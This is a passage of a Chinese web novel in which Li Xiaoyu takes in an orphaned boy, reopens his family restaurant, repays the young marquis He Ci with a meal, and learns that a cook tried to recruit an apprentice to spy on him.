想着黎小鱼和他说谢谢时候的样子。
这还是他第一次见黎小鱼对他态度这样好。
裴叔群看着贺辞,眼珠子一转,“小侯爷,你今日为何会冲出去救黎小鱼啊?”
贺辞皱着眉头,“谁救他了?”
“上次江安欺负了个姑娘,我就警告过他再敢对辞州百姓动手,我不会放过他。”
他是为了被江安打的那一老一小,不是为了黎小鱼。
裴叔群嘴角带笑,也不看歌舞了。
“可是小侯爷,你这怎么也算英雄救美了,不怕黎小鱼因此更加喜欢你,缠着你不放?”
贺辞不吭声了,喝了好几杯酒。
“黎小鱼不是那种死缠烂打的人。”
如果他是,那这些日子在书院,黎小鱼早就想尽各种办法,与他在书院中“偶遇”了。
结果却是这些日子里,他没有在书院见到黎小鱼一次。
此次的相遇,也是偶然,而非黎小鱼处心积虑。
和裴叔群之前说的那些,并不一样。
裴叔群笑了一声,“小侯爷怎么知道?知人知面不知心啊。”
贺辞冷眼看来,“裴叔群,我不喜欢人在我面前乱嚼舌根。”
裴叔群识趣闭嘴。
医馆。
大夫给一老一小处理了伤,又开了药交代药童去煎熬。
“这孩子幸好送来的及时,脑袋上也未再添伤。不然怕是会回天乏术啊。”
黎小鱼看向双目紧闭的孩子,轻轻的点头。
他知道的。
当年,他也是在这样的情况下,被师父救下,捡回一条命来。
要是脑袋上再挨上一脚,这孩子就会被活活的打死。
孩子脑袋受了重伤,一时半会醒不来。
老爷子在半个时辰后醒了,睁眼就是虚弱的喊着猫儿。
“老人家,猫儿没事。”
黎小鱼的声音缓解了老人心里的慌乱,他坐起身环顾四周,也明白过来,自己和孙子这是被贵人给救了。
他吃力的下床,要给黎小鱼跪下磕头。
被黎小鱼拉住,“老人家,大夫说你的头也伤了。暂时不能下床,要好好的修养两日。快回去躺着,养好身体,才能照顾猫儿不是。”
想到自己的小孙子,老人老泪纵横,听了黎小鱼的劝,躺了回去。
“多谢小郎君,若不是小郎君出手相救,我和猫儿,今日怕是要命丧于此了。小郎君的救命之恩,小老儿我今后一定以命相报。”
黎小鱼道:“也不是我,说到底是小侯爷救的你们。我人微言轻,今日若没他来,我也没办法将你们从那地方带走的。”
这也是他对贺辞开口,让贺辞派人送他们来医馆的原因。
贺辞派人送,那些人看在贺辞的面上,也不敢再动手报复。
老人不知道晕过去之后还出现了这样的大人物,一时间有些被吓住。
黎小鱼看出老人有些害怕,便转移了话题,问他道:“那些人,是为的什么如此对待你与猫儿?”
老人反应了一会,回神道:“今日是我猫儿生辰,遇见了大方的人家,不仅给了白面馒头,还给了几文钱。我就想着给猫儿买个麦芽糖吃吃,让孩子在生辰这天,能甜甜嘴。”
谁知道刚买了麦芽糖,路过那歌舞坊,平白无故的就被里面出来的几位贵公子给揍了。
说是脏了他们的路,该打。
黎小鱼听着有些难以置信,就为了这个?
就因为走了他们走的路?
老人说完后,有些惊愕的看着黎小鱼,“贵,贵人,你咋哭了?是不是哪里不舒服啊?”
黎小鱼面无表情的擦了一下眼泪,“没事。”
老人醒了,黎小鱼也能放心的回去。
晚上的时候,药童给老人端来了饭菜。
老人不敢吃,他没钱。
药童把饭菜放下,笑道:“这是黎小郎君叫我们给你准备的。”
老人看着饭菜,吞咽着口水。
他很久没有吃一顿饱饭了。
“那位小郎君,真是个好人啊。”
药童笑着给猫儿换药,“是的啊,师父说你的孙子脑袋伤的可重了。要好药先吊一下命,那小郎君眼都不眨一下的就掏银子,说一定要救活呢。”
老人吃着稠粥,落了泪。
深夜,老人坐在床边,颤抖着手,摸着小孙子的脸。
“爷爷的乖猫儿,以后一定要好好活着。”
第二天,黎小鱼一直到下午才抽出空去医馆看看那爷孙两。
刚到医馆,就看见药童一脸着急的过来。
“小郎君不好啦!那老爷爷丢下他孙子走啦!”
第32章 第 32 章
“早上起来的时候, 我去给那孩子换药,就没有看见孩子的爷爷。”
“药换完了也不见人,我便去找师父。师父让人出去找了找, 最后也没找到人。”
药童很不明白, 看着床上还在昏迷不醒的猫儿, “他爷爷丢下他走了, 这么小的孩子, 以后一个人可怎么活啊。”
黎小鱼也看了一眼孩子。
老人的意思,黎小鱼能明白。
想给孩子谋一条生路, 让孩子在他的手下过活。
“没事, 我会带回去。”
在黎小鱼要离开的时候,猫儿终于醒了。
他找了一圈, 没有看见他的爷爷。
黎小鱼看着孩子, 如实的与他说了一切。
“你爷爷将你托付给了我, 以后,你跟着我回黎家一起生活。”
黎小鱼以为孩子会哭闹, 但他没有。
猫儿虽然一直昏迷着, 但是能听见爷爷临走时和他说的话。
他那时候很想醒来, 可不管他怎么努力睁眼,都醒不过来。
他知道,爷爷走了。
不是不要他,是为了让他能活着。
猫儿的眼泪打湿了枕头, 他晃晃悠悠的爬起身,对着黎小鱼磕了个头, “猫儿谢谢郎君救命之恩。”
黎小鱼伸手摸一下孩子的头, “你姓什么?”
“唐,唐猫儿。”
唐猫儿的伤还需要再多观察几日, 黎小鱼给了银钱,叫医馆好生照顾着,他回家后,将这事与父母说了。
对于自己的先斩后奏,黎小鱼心中也有些忐忑。
担心父母会怪他。
也想好了,要是父母实在不愿,便让唐猫儿跟着卢大海在小饭馆后院住着。
黎九州见不得自家孩子脸上带着忧愁的样子,他一拍儿子肩膀,“你做什么,爹娘都只有支持你的份。家里院子这么大,还能没个孩子的住处?尽管带回来,你没空照看,爹娘都能替你照看。”
周珍娘也连连点头,“你爹说的对,娘明天一早就去给猫儿送些穿的用的过去。时间赶也来不及做新的,先拿你以前的衣服换着,回来的时候娘正好去趟布庄,给猫儿做几件新衣裳。”
爹娘的无条件赞同,让黎小鱼舒一口气。
他露出笑脸,抬起手来,一手搂一个,“爹娘,你们真好。”
夫妇二人被儿子亲近,也闹个脸红。可也舍不得推开儿子,也张开手抱抱儿子,脸上挂着笑。
“咱们小鱼也好。”
这几日黎九州和周珍娘每天都会去看唐猫儿。
小孩是个听话懂事的,爷爷离开,孩子伤心哭泣在所难免。
明明眼睛都哭肿了,可每次见他们的时候,都会带着一张笑脸。
那笑带着讨好的模样,看着都叫人心疼。
人也是瘦弱的很,手腕细的握一下都能断的感觉。他家小鱼五六岁时候的衣服,穿在这孩子身上,大了好几圈。
但再小的衣服也找不到了。
黎小鱼忙起来会两天去一次,都是在下午。
给小孩带他做的一些小点心,吃着吃着就会哭,黎小鱼估摸着孩子是想爷爷了。
每到这时候,他就会抱着小孩,摸摸他的头。
他也没说不要哭的话,想哭就哭,压在心里才更难受。
小饭馆后院重建好的那天,正好也是接唐猫儿回黎家的日子。
黎家的小院确实是大,唐猫儿的房间也大。
周珍娘早就收拾妥帖,里面一应家具齐全,屋里打扫的干干净净。
“猫儿,以后就把这当家住着。”
唐猫儿的眼泪刷的一下就落了下来,模糊了视线。
他做梦都想不到,自己能住上这样好的房子。
晚上睡觉的时候,唐猫儿抱着枕头,想着爷爷进入了梦乡。
阿爷,我现在过的很好,你也要好好的活着啊。
小饭馆择了个良辰吉日重新开张。
鞭炮噼里啪啦的放着,周围铺子的伙计掌柜的都来了小饭馆恭喜重新开业。
在小饭馆重建的这些日子里,噪音是少不了的。
虽说没有前世的施工队钻头那些声音响,但黎小鱼不想因此有任何的不愉快。
所以他每天都会给周围的铺子送些吃食去。
有时候是小面包,有时候是煮的绿豆汤或者是酸梅汤。
周围铺子在这些日子里吃着黎小鱼给的好吃的,对小饭馆和黎家人的印象那是越来越好。
这些日子天天盼着小饭馆赶紧重新开业,他们也都馋黎小鱼做的菜了。
听说黎小鱼每天去书院给学子,夫子们单独做,都想去书院蹭吃蹭喝了。
要不是书院进不去,这事还真有人能干的出来。
放完了鞭炮,黎小鱼做了给书院饭堂的饭菜。
全都做好之后,他又另外做了一份。
三菜一汤,用料讲究,摆盘精致。
他找了小饭馆里最好的食盒装着,一起提着,带去了书院。
将给饭堂的菜送了过去后,黎小鱼拎着食盒,去了一趟竹轩堂。
上次多亏了贺辞出手,事情很快的便解决了。
那江安被贺辞教训一通,怒气都记在了贺辞身上,也没有来找他们。
他也没什么别的能拿出来感谢贺辞,只会做个饭菜。
便专程给贺辞做了一些。
至于贺辞会不会吃,那就不是他要考虑的事情了。
他至少要有个感谢的态度。
想办法将这个人情给还了。
上次拦路的孙管事,这次看见黎小鱼老实了不少。
他上前来,有些讨好道:“小郎君这是又来找小侯爷?”
黎小鱼不太愿意搭理他,但也确实需要通过他将东西给贺辞送去,“嗯,这是我给他做的饭菜。”
黎小鱼将食盒一送,孙管事立即弯腰接过。
他笑着保证道:“小郎君放心,我一定将这食盒好好的交到小侯爷的手上。”
黎小鱼点了点头,赶着回小饭馆去忙活,也确实没时间在这等贺辞。
中午书院散学,孙管事拎着食盒恭敬的出现在贺辞面前。
贺辞当没看见这人,径直往前走。
孙管事立即弯腰出声,“这是黎小郎君给小侯爷的。”
贺辞闻言停下了脚步。
黎小鱼给他的?
瞧着是吃食,可给他吃食做什么?
“跟上来。”
孙管事高兴的哎了一声,跟上贺辞去了曲荷亭。
东西放下后,孙管事也识趣的立即离开。
白竹看着那食盒有些奇怪,“小侯爷另买的吃食?”
瞧着食盒朴素,应该不是大酒楼所用。
贺辞摸着左耳的耳饰,“黎小鱼专门给我做的,打开摆上。”
黎小鱼?
白竹心里奇怪,这人好好的给小侯爷送饭食做什么。
等打开食盒,把菜端出来摆上后,白竹惊奇道:“这黎小郎君做的菜,竟然都没加葱花。”
贺辞摸耳饰的动作一顿,扫了一眼色香味俱全的菜,确实全都没有葱花。
他嘴角一翘,又听白竹道:“底下压着一封信。”
“给我。”
贺辞伸手要了过去,拆开后,清隽字迹映入眼帘。
黎小鱼的字写的还不错,比他好。
信的内容很短,说了这顿饭是为了感谢之前解围的,又问贺辞有没有其他想吃的菜,可以给他继续做。
黎小鱼知道上次歌舞坊前的人情债,不是一顿饭就能彻底磨平。
但他只知道贺辞不吃葱,别的并不知。
还人情,却做了人家不爱吃的东西,实在本末倒置。
便有了今日这封信。
贺辞看着信上的内容,盯着后面的几行字看。
这黎小鱼,拐着弯打听他的喜好呢。
贺辞将信收好,“白竹,你是什么时候发现我不喜欢吃葱?”
白竹正布菜,突然被问还想了好一会,“我没有发现,是小侯爷有次做梦说梦话,喊着再也不要吃葱。”
从那之后,只要是白竹准备的饭菜,都不会有葱的影子。
贺辞闻言又摸了摸耳饰,现在想想,黎小鱼确实很早就很在意他了。
连他不喜欢吃葱花,都一眼看了出来。若不是放在心上在意,谁能一眼分辨出对面人的情绪。
黎小鱼得多在意他啊。
白竹一抬头就见贺辞似笑非笑的模样,“小侯爷遇到什么高兴的事了?”
“我的事少猜。”
“是,小侯爷。”
……
黎家小饭馆终于重新开业了。
之前在珍馔楼吃饭,会单独点小饭馆红烧牛肉炖土豆的食客们,见着小饭馆开张,抓着伙计就叫他们去小饭馆买碗红烧牛肉炖土豆来。
这些日子没吃上,还真是想的紧。
因为黎小鱼这段时间,每天早上都在珍馔楼后厨教凌少卿做菜的缘故。
珍馔楼从上到下所有人,对黎小鱼的态度那真是变的极大。
以前替酒楼食客去小饭馆点菜,那都是鼻子不是鼻子,眼不是眼的。
如今却是恭敬的很,张口闭口黎郎君的,提了菜还要说一句辛苦了。
黎小鱼这些日子也习惯他们的客气恭敬,不在意的摆摆手。
伙计路过黎九州和周珍娘的时候,还不忘对他们笑着点点头。
给夫妻二人看的一愣一愣。
他们儿子可真行啊,连那样的贵公子都能拜他们儿子为师。
之前鼻孔朝天看人的珍馔楼伙计,都因此对他们无比的温和有礼了。
小饭馆再开业,孙草和方石头也穿上了之前就准备好的工作服,换下了他们那身又大又破旧的衣服。
得了一身新衣裳,孙草和方石头都很是惊喜。
对新衣裳特别的爱惜,外面哪怕围着围裙,时不时的也要注意着,生怕弄脏了。
这样合身干净没补丁的衣服,他们从小到头一次穿。
两人心里都稀罕的不行。
黎小鱼也给小饭馆添了六道菜,全是炒菜。
三荤三素。
食客进店,孙草迎上去,笑着说小饭馆上了新菜色,问要不要尝尝看。
老食客都知道,小饭馆的菜只管闷头吃就对了,没一道是难吃的。
一听说有新菜,价格也合适,比起红烧牛肉炖土豆可便宜多了。
虽然没听过“炒”,可也因此十分的好奇,想尝尝咸淡。
点了最感兴趣的新菜后,食客不忘看一眼孙草和方石头身上一致的衣服。
夸一句二人这衣裳穿着,比之前有精气神多了。
卢大海在后厨帮忙,菜色多了之后,他需要备菜。
炒菜熟的快,因此种类虽然多了,但是一点也不耽误上菜的速度。
孙草端着一道香辣逼人的尖椒炒五花肉片。
“客官,你的菜,请慢用。”
一碗米饭,配一碟子下饭菜,吃的人鼻头冒汗,直呼畅快。
有些没什么钱的,也能花个六文钱,吃上一道酸辣土豆丝,配一碗白米饭。
不想要米饭,就点一道酸辣土豆丝,只要三文钱。
满满的一碟子,带着回家去吃,给家里饭桌上添道好吃的菜也是极好的选择。
隔壁布庄的伙计小五,晚上就专门买了一份酸辣土豆丝带回家去。
他母亲年纪大了,夏天天热,嘴巴里没味,什么也吃不下。
这道菜酸辣开胃,味道也重,关键还特别的便宜,份量还不少。
也就三文钱,足够一大家子吃上几筷子,嘴巴里有点味道。
老太太闻着那酸辣的味,直接就忍不住咽口水,就着杂面馒头,夹着些清脆酸辣的土豆丝,吃的那叫一个香啊。
哪里还看出半点吃不下饭的模样。
家里几个小的,被辣的斯哈斯哈,也要继续吃。
好吃的东西,谁不喜欢。
一家子十来口人,围坐在一起,有说有笑的吃着酸辣土豆丝。
小五看着家人们的笑脸,心里觉得幸福的很,他要多多努力赚钱,给家人买更多更好吃的。
吃完饭,小五的大哥找到小五,他给小五塞了些银钱。
“五弟,二姐姐明日要来。爹和娘说黎家小饭馆的菜味道实在是好,让我拿公中的钱,叫你明天看着置办些回来,叫二姐也尝尝好吃的。”
想到之前因为小五帮了黎家一点小忙,那小东家专门送的红烧牛肉做感谢。
他们三五年也不吃一顿牛肉,那道菜是真的好吃的啊。
后来他家回了些野蜂蜜,那是家里最能拿得出手的了。
结果小五晚上又带回了从未见过吃过的小面包,还是用他家送去的蜂蜜做的。
那味道口感,实在是好。
孩子们吃的可开心了,如今都还总念叨着想吃。
大哥想了一下,又塞了一些银钱过去,“那红烧牛肉炖土豆,也来一份。小面包若是有,看看能不能买。家里几个小的,馋好久了。”
把钱收好后,小五道:“小面包怕是买不着,没听黎小郎君说过。明日我去问一嘴,要是后面会有,价格合适的话,我就带点回来。”
“成,你看着来。”
翌日一早,小五看着黎小鱼从珍馔楼里出来后,去了一趟黎家小饭馆。
黎家小饭馆没有失火之前,凌少卿和柳玉攀每天早中晚往黎家小饭馆跑。
黎家小饭馆失火后重建不久,黎小鱼每天早上都会去珍馔楼。
在周围铺子里,这些都不是秘密。
大家都有眼睛,能看得见。
有人还无意听见凌家的那位公子,喊黎家小郎君是师父。
大伙都猜是去教做菜的。
但因为这事实在是过于惊奇,没多少人真敢信。
倒不是因为年纪,毕竟他们都知道黎家小郎君的厨艺有多好。
而是因为没人敢信,同行会教同行。
小五问了蜂蜜面包会不会售卖,黎小鱼摇头。
现在他实在是没有多余的精力做这个专门去卖。
“对了,后日晚上小五可有空?我想在小饭馆里摆几桌,请大家吃顿便饭。小饭馆那晚失火,大家帮了不少的忙。正好那天我多做些蜂蜜小面包,给大家分。”
小五高兴的不行,直说黎小郎君太客气,又说那天肯定来。
小饭馆失火那晚,周围铺子里值夜来帮忙的伙计,黎小鱼都请了。还有他家的左邻右舍,也与他们都说了时间。
黎小鱼做的菜多好吃,大家都是知道的。
没人能说出拒绝的话,也都觉得黎家的实在是会做事。
别说在重建期间动不动就做些小吃食给他们分,重建后竟然还专门请他们吃一顿饭。
黎家左邻右舍,年纪长一些的,能看出些门道来。
这黎家小郎君,实在是太客气。
但这种客气又不是彻底的疏离。
因为黎小鱼每次见到人,都会温温和和的笑着打招呼。
谁家有点小忙什么的,他能帮顺手就能帮了。
小小年纪,处事如此圆滑却不令人生厌,反叫人生出喜欢,以后是个能干大事的。
……
黎小鱼中午从书院做完了饭菜,离开的时候路过校场,今日校场上无人。
他正走着,突然从天而降下来一个人。
因反应不及,黎小鱼鼻子直接撞在了对方的胸前,疼的他直接飙出眼泪。
黎小鱼捂着鼻子,看向罪魁祸首,“小侯爷你从树上跳下来的时候,不能看看下面有没有人吗?”
贺辞撞过鼻子,知道这一下会多疼,难得的没冷嘲热讽的说人有病只会哭。
而是拉着黎小鱼的手腕,低头凑近去看,“别捂,我看看。”
黎小鱼鼻尖圆圆的,瞧着很可爱。近距离看,能看清鼻尖有一颗颜色极淡极小的痣。
贺辞松一口气,“还好,没流鼻血。”
说完又忍不住的对黎小鱼说:“你走路发什么呆,想什么事呢?我跳下来了都没注意到。”
黎小鱼确实在走神想事情,他不想和贺辞争辩这些,转移话题问他,“小侯爷找我有事?”
贺辞站直了身体,轻咳一声道:“你不是想知道我的喜好吗?”
喜好?
哦,应该是指问他喜欢吃什么菜那件事吧。
黎小鱼点头,“嗯,小侯爷喜欢吃什么,尽管和我说。只要我能做的,都会尽量做出来。不过太贵的食材,我能力有限,怕是弄不来。”
贺辞见黎小鱼没有丝毫的遮掩,直接就承认了想探听他喜好的事,倒是对黎小鱼有些改观。
至少敢做敢认。
他想到黎小鱼做的那顿饭菜。
很好吃,很合他的口味。
可这些都是黎小鱼瓦解他意志的手段,他不能被迷惑。
他又不喜欢男人。
贺辞低头看着黎小鱼,难得的有些成熟理智的模样。
“黎小鱼,恩情也好,人情也罢。那顿饭已经够了,在我这里就算扯平。真要感谢,那你以后,不要再来找我,别出现在我的面前。对我来说,这就是你能给我的最好的感谢。”
黎小鱼心中微微惊讶,还有这好事?
贺辞的要求在黎小鱼看来最简单不过,他要不是因为不想亏欠,根本不可能再与贺辞有什么交集。
他强压着高兴的情绪,可不能喜极而泣,说话声音有些慢,“我知道了小侯爷。”
而在贺辞看来,却是黎小鱼闷闷不乐的答应,声音都有气无力的。
贺辞眉心不自觉的轻皱起,“我走了,你别哭啊。”
黎小鱼疑惑抬头,只看见贺辞酷酷转身的背影。
这小侯爷怎么说话前言不搭后语的,他走就走了,自己为什么要哭?
黎小鱼甩甩脑袋,也快步离开书院,回小饭馆忙活去了。
唐猫儿今年五岁了,这孩子有记忆时起,就一直跟着爷爷流浪乞讨为生。
因为经历的原因,小孩很有眼力见,对人的情绪感知很敏锐。
他帮着招呼客人,好听话张口就来。
小孩说吉利话,少了市侩,多了纯真的心意。
同样的好听话,孩子说的听在耳朵里,比大人说的中听多了。
哄的客人们都高高兴兴的。
黎小鱼一进来,唐猫儿老远就跑来,甜甜的喊他小鱼哥哥。
“黎小郎君,这是你家饭馆新招的伙计?这孩子能干的很,可不错哩!”
客人们对唐猫儿很满意,自然不吝夸奖,还有不少人应和,给唐猫儿听的都有些不好意思了。
黎小鱼摸摸唐猫儿的小脑袋,笑着对客人们道:“不是伙计,是我认下的弟弟。”
最开始说话的那客人闻言,立马笑说:“哟!恭喜小郎君多了个弟弟啊,往后兄弟扶持,也是极好的。”
唐猫儿听到黎小鱼那声“弟弟”时一愣。
心中酸酸涨涨,高兴的不知道如何是好。
大人的态度,决定着其他人对孩子的态度。
黎小鱼没有丝毫掩藏,表达了对唐猫儿的重视。
旁观的客人们能察觉的到,加上唐猫儿说话好听讨喜,客人们对他的善意,也更多些。
因此当他们看着唐猫儿悄摸的抹眼泪,也是笑着打趣,没人说什么煞风景的话。
只说小孩高兴的藏不住,都从眼里冒出来了。
还有进店吃饭的行商出声哄唐猫儿,叫他别哭,给他掏干果吃。
小猫儿没得到过这么多的善意,小眼泪汪汪的,一边接好吃的,一边说:“谢谢你,你一定发大财。”
经商的听不得这些,一高兴,又掏了不少干果送出去。
猫儿把自己得到的干果分了大半给黎小鱼,还都是剥好的,剩下的小孩也没自己一个人吃。
而是和黎九州他们分着吃了。
晚上的时候,小五拎着个竹编的食盒,里面装着从黎家小饭馆里买的菜。
刚近家门,就听见了哭声。
小五吓的不轻,朝着屋里跑,看见他二姐在抱着娘在哭。
他二姐夫是个身形魁梧的汉子,此时也是愁眉苦脸的。
外甥和外甥女缩在一旁,像是被什么吓到一样,头也不敢抬,一个劲的在哆嗦。
小五的爹看到小五回来,终于回了神,“小五回来啦,先吃饭吧,有什么事,都等填饱了肚子再说。”
大哥闻言立即应声,“爹说的对,我和小五去收拾,大家伙洗把脸,精神些都来吃饭吧。”
开食盒端菜的时候,小五问了他大哥出了什么事。
大哥长叹一声,“二姐夫得罪了皂吏,不准他上山打猎了。还总是示意些地痞无赖去他家里,二姐还有小花和小叶被吓坏了,也不知什么时候是个头。”
第33章 第 33 章
珍馔楼打烊之后, 后厨的张厨子喊住了要走的许活。
“小活啊,这会没什么人,咱们爷两今天喝一杯?”
许活没想到张厨子会主动喊他喝酒, 高兴的点头开始张罗。
东西都摆好后, 张厨子神神秘秘的拿出个油纸包, 打开放在桌上, 许活看清楚里面的东西后, 不可思议道:“卤牛肉!”
“是啊,这是我今天专门留下的, 就是为了给你吃。”
张厨子把卤牛肉往许活那推, “你还没吃过吧,快尝尝看。”
珍馔楼的卤牛肉那是一等一的招牌菜。
整个后厨, 也就只有会做卤牛肉的张厨子能隔三差五的弄一些打牙祭, 其他人是想都别想。
许活在张厨子的注视下, 夹起一片,送进口中。
卤牛肉咸香无比, 许活边吃边笑, “张厨子的卤牛肉实在是一绝。”
张厨子先是摆摆手, “哎,哪里。以前在珍馔楼里算是一绝,可现在东家每日两笼的李子糕,还有你学的那豆瓣鲫鱼, 哪一样比不过我的牛肉啊。”
随后他叹一口气,“现在来吃饭的食客, 点我卤牛肉的是越来越少咯。”
许活嘴里的卤牛肉咽不下去, 他有些不知所措,急忙解释。
“张厨子, 我不是故意要抢你的名头。”
张厨子这才回神笑道:“你这要是抢我的名头,那岂不是说东家也在抢我的名头?”
许活自知失言,连忙摆手,“我不是这个意思。”
“我知道,你别害怕。”张厨子按着许活的肩膀,安慰着。
许活咽下口中的卤牛肉,剩下的也不敢吃了。
张厨子像是看不出许活的不自在,自顾自的给他倒酒。
许活见张厨子动作,急忙捧着酒杯向前,态度十分的恭敬。
他在后厨里,一直都是负责给几个厨子打下手的。
因为爷爷会些厨艺,从小就教他。
托学的这些皮毛的福,他在珍馔楼的后厨,比普通的杂工要好一些。
特别忙的时候,会让他负责拌凉菜。
而不是一直干着又杂又累的活计。
上次能被东家选去学那豆瓣鲫鱼,也是因为他身世的原因,更能得东家的信任。
不然这样的好事,也轮不到他。
谁都想往上走,许活也不例外。
之前他就想着,要是珍馔楼后厨的厨子们,能有一个愿意收他为徒也好。
可他们都不愿意多看他一眼,甚至每次看他靠近,都会像防贼一样的防着他。
就怕被他看着偷师学去。
但上次被东家拉去学了一道豆瓣鲫鱼后,让他在后厨有了一席之地。
毕竟只有他一人能做出,有京城味道的豆瓣鲫鱼。
厨子们对他的态度变了很多。
而他做的豆瓣鲫鱼,也很得食客们的喜爱。
许活是想拜黎小郎君为师的,可他不敢越过东家。
便打消这个念头,还是存着能拜珍馔楼后厨任意一个厨子为师的心思。
今天张厨子特意留下他,应该是看他豆瓣鲫鱼做的好,在做菜上是有悟性的。
他要是能趁机多恭维几句,叫张厨子对他彻底改观,收他为徒就好了。
许活正想着怎么让张厨子收他为徒呢。
张厨子见许活走神,先抬手在他的眼前挥了挥,“想什么呢?”
许活回神含糊道:“没什么。”
张厨子也不在意,他仰头喝了一杯酒,“小活啊,你爷爷的病,是不是要人参吊着?”
“张厨子好好的说这个做什么?”
许活没想到这话题突然从菜扯到他爷爷,自觉不对劲,有些警惕的问。
张厨子笑了一声,“你怕什么,我就是看你也不容易。所以这有个赚钱的活,就想着你了嘛。”
许活看着张厨子,“什么活?”
“黎家的小郎君,似乎是对你挺有好感的。我也算看出来了,你在做菜一道上,是有天赋的。他要收你为徒,那是迟早的事。”
张厨子顿了一下,凑近许活小声道:“要是他真收你为徒,你每天和我汇报一下,黎家小郎君天天做什么。要是他不收你为徒,你就想办法靠近他,取得他的信任……”
许活没有听完,直接拒绝道:“我不同意。”
他怕张厨子听不明白,又强调一遍,“这种事情,我是不会做的。”
张厨子也不恼怒,反而问他,“你不想你爷爷的病能好了?”
那神情语气,像是胜券在握。
谁知许活不为所动,“我爷爷的病本来就不会好,吃再多的人参都不会好。”
张厨子没想到许活会这样说,他以为许活会在犹豫后就同意来着。
“可这能让你爷爷能多活几年。这也不要?”
许活摇头。
“我爷爷要是知道,我靠着出卖他人而赚钱财给他治病,才会叫爷爷痛不欲生,死后都不得安宁的。”
许活会一而再,再而三的拒绝,让张厨子感觉到有些棘手。
黎小鱼此人看着对谁都和善,实际上对任何人都带着防备之心。
也就他的至亲没什么防备,可那些人不可能会听他的,监视黎小鱼。
而经过他观察,凌少卿很可能会让许活跟着黎小鱼学做菜。
许活家里有个生病的爷爷,是个好拿捏的软肋。
谁知道,这个最好的人选,平时犟就算了。
在他爷爷生死大事的事情上,也能这么犟。
张厨子不禁有些恼羞成怒,“你别不识好歹,这事你不做,有的是人做!难道你要眼睁睁看着你爷爷死嘛!”
许活起身就走,“那烦请张厨子去找他们,找我做什么?还有,这事哪怕我做了,也迟早会眼睁睁看着我爷爷死,那我干嘛还要平白惹我爷爷生气?我又不傻。”
张厨子看着许活毫不犹豫离开的背影,直接傻眼了。
怎么会这样?
珍馔楼发生了一件大事。
张厨子跑路了。
许活昨天大半夜就去了凌府,告知了凌少卿张厨子要他做的事情。
凌少卿当即就叫人去找张厨子,要问清楚他这么做的原因。
可找了大半宿,都没有找到人。
他的家中,也是空无一人。
妻儿全都不在。
屋子里毫不凌乱,但该带走的,也都带走了。
像是早就准备好离开一样。
凌少卿心里分析了半晌,也不确定张厨子是哪方势力派来他这的暗桩。
又为何会因为区区小事而选择暴露。
更让他想不明白的是,为什么会要许活盯着他师父呢?
此事凌少卿也和黎小鱼说了,还问了黎小鱼有没有得罪过什么人。
黎小鱼沉着脸,对有人企图在他身边,安插人手监视的事情很生气。
他仔细想了一圈,感觉只有和他大伯父敌对的江渚松有嫌疑。
可又觉得不太像江渚松的作风。
他这个人狂妄惯了,想震慑人就直接放火,事后还敢在他面前直接承认。
肆无忌惮极其嚣张。
如此迂回又温和的手段,不像是他会做的。
黎小鱼一时间也想不到,这事只能暂时搁置。
……
凌少卿现在跟着黎小鱼学的是葱炖鸭,这道菜学好了,后面炖鸡,炖鹅都可以用此法。
做法其实并不难,只是他一直没办法掌控好火候,酱汁的味道调的也总是差一些。
这段时间他一直也没个进展,心里也着急,怕黎小鱼觉得他笨。
因此这两天都会比约定好的时间,到的更早,自己先练习着调配酱料,和看火候。
他以为自己起的已经够早了,随便拿着一块饼子上马车后,发现柳玉攀已经坐上面了。
杖刑的伤,修养的这些日子,总算是好全了。
凌少卿坐上马车,对柳玉攀道:“现在天还没亮,书院都没开门,表弟你起这么早做什么?”
柳玉攀轻哼一声,“那黎小鱼不是说要我在小饭馆帮一个月的忙。”
“这事我不是和你说过了,师父说不用再去了。”
凌少卿拍拍柳玉攀的肩膀,“师父说话向来算话,他之前说的所有一切止于那日,就是止于那日。”
柳玉攀偏头过去,不看凌少卿。
“他说话算话,我说话就不算话了?当时说了一月就是一月,还差着日子,他说免了就免了?”
这番话说的凌少卿有些哭笑不得,“不让你再去做那些琐事,你怎么还委屈上了。”
柳玉攀不说话,他心里不舒服。
自从他表哥和黎小鱼学做菜后,两个人越走越近。
即便黎小鱼再三强调,他们和真正的师徒不一样。
可他表哥心里根本不这么认为,他能感觉到,表哥的心里,越来越信服黎小鱼。
不管黎小鱼怎么想,至少他表哥是真的把人当师父。
他们师徒二人亲亲热热,留他一个人在凌府里冷冷清清。
柳玉攀不高兴。
“谁委屈了,我的事情我自己做主,才不要你们商量好再告知我。”
凌少卿叹一口气,他也知道自己表弟的性情古怪又别扭。
现在也不好和他说什么道理,只好先随着他。
等见到师父,他先好好的告罪一番吧。
不过凌少卿也没有再像之前一样,完全的顺着柳玉攀。
而是道:“表弟,你这次去要是闹不痛快,下次不管说什么,我也不会让你靠近师父了。”
这话不说还好,一说把柳玉攀气了个半死。
他几乎是吼着出声,“你就这么想我!我之前不是说了不会再做什么,你只信黎小鱼不信我!”
凌少卿有一瞬间的发愣,听出柳玉攀提高的音量中,含着的不满与难过,急忙道:“是表哥不对。”
柳玉攀不理他,只低头抠着马车的车壁。
到了地方后,发现卢大海已经出门去早市,小饭馆这会门是关着的。
柳玉攀只好跟着凌少卿先去了珍馔楼。
他本来是在雅间里,坐了没一会,觉得太无聊,便下了楼去了后厨。
看着他表哥认真的模样,柳玉攀脸上没有过多的表情,心中却有些迷茫。
表哥有自己喜欢的东西,他喜欢什么呢?
“柳郎君,小饭馆那边开门了。”
珍馔楼的伙计一直帮着柳玉攀盯着小饭馆那边,开门后即刻过来告知。
柳玉攀不再盯着后厨里,全身心投入研究做菜的凌少卿,转身去了小饭馆。
“柳郎君?你怎么这时候来了?”
卢大海奇怪的看向许久未见的柳玉攀。
没等柳玉攀回他,卢大海又看向柳玉攀身后,笑道:“小东家来啦,小猫儿也来啦。”
黎小鱼牵着唐猫儿的手,看着前面站着的人,“柳玉攀?”
听到黎小鱼的声音,柳玉攀有些变扭的回头。
黎小鱼看着他问道:“你的伤好了?”
柳玉攀瞪了黎小鱼一眼,“好没好的,你看不出来啊。”
没好他怎么会出现在这里。
黎小鱼笑道:“看你这么精神,想来是好了。你表哥没有和你说,饭馆不用你们再来帮忙干活了吗?”
提起这个柳玉攀就生气,他盯着黎小鱼,很不满的说:“契书上的日子是一个月,之前只做了一半,还有一半。你自己决定的算了,没问过我的意见,我不认可。”
柳玉攀说完,以为黎小鱼会说些什么和他对着来。
没想到黎小鱼竟然点头了。
“是我没考虑到你的心情,你不同意的话,就按着你想的来吧。”
柳玉攀抿着嘴,有些不敢相信,黎小鱼竟然把他的话听进去了。
“你,不觉得我是无理取闹?”
黎小鱼点头,“有点,不过你继续帮我干活,对我来说没有损失。同意的话,还能让你安静,何乐不为?”
